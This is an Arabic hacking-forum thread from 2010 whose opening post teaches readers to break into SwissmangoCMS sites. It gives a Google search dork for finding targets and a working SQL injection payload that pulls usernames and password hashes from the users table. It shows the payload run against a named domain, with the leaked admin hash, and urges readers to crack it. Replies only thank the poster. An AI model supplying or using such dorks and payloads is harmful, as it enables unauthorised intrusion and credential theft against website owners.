ثغرة في سكربت SwissmangoCMS

MATRIX ALGERIA · 01-06-2010, 12:15 AM

السلام عليكم اخوتي العناكب اليوم انشاء جئت لكم بثغرة جديدة
نبدا بسم الله
ندخل موقع قوقل

www.google.com

نقوم بالبحث عن

كود PHP:

  inurl:/index.php?main=

الاستغلال

كود PHP:

  666+and+1=2+union+select+concat_ws(0x3a,userName,userPass)+from+users--

مثال

كود PHP:

  http://dev.swissmango.com/index.php?main=666+and+1=2+union+select+concat_ws

(0x3a,userName,userPass)+from+users--

وطلع لنا الاتي

كود PHP:

  SELECT navParent FROM navigation WHERE navID = admin:1a1dc91c907325c69271ddf0c944bc72

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ':1a1dc91c907325c69271ddf0c944bc72' at line 1

يعني ان المعلومات هكذا
admin:1a1dc91c907325c69271ddf0c944bc72
ماعليك الا فك الهاش واختراقات موفقة

الموضوع اصلي : الشبكة العنكبوتية الاحترافية نرجو حفظ الحقوق

المصدر: :: vBspiders Professional Network ::

eyvm td s;vfj SwissmangoCMS

Antivirus7 · 01-06-2010, 01:32 AM

الله يعطيك العافية اخي

KaLa$nikoV · 01-06-2010, 02:50 AM

مشكور ع الطرح لاهنت

T3BaN_HaCkEr · 01-06-2010, 04:20 AM

يسلموووو على الثغرة

يعطيك الف عافيه

MATRIX ALGERIA · 01-06-2010, 03:36 PM

مشكورين على المرور والتشجيع

M!M0 · 01-06-2010, 04:43 PM

مشكووور على الطرح

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
فيديو : \|\| شرح ثغرة في سكربت 4images \|\| ..	THE GHOST	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	50	01-13-2015 05:07 PM
ثغرة في سكربت اللوماني	mobdeen	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	5	12-18-2013 06:38 PM
تغرة سكربت Bugdar	john elomari	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	1	06-04-2010 01:25 PM
ثغرة في سكربت Joomla Component com_ircmbasic	MATRIX ALGERIA	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	4	04-07-2010 11:22 AM

ثغرة في سكربت SwissmangoCMS

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات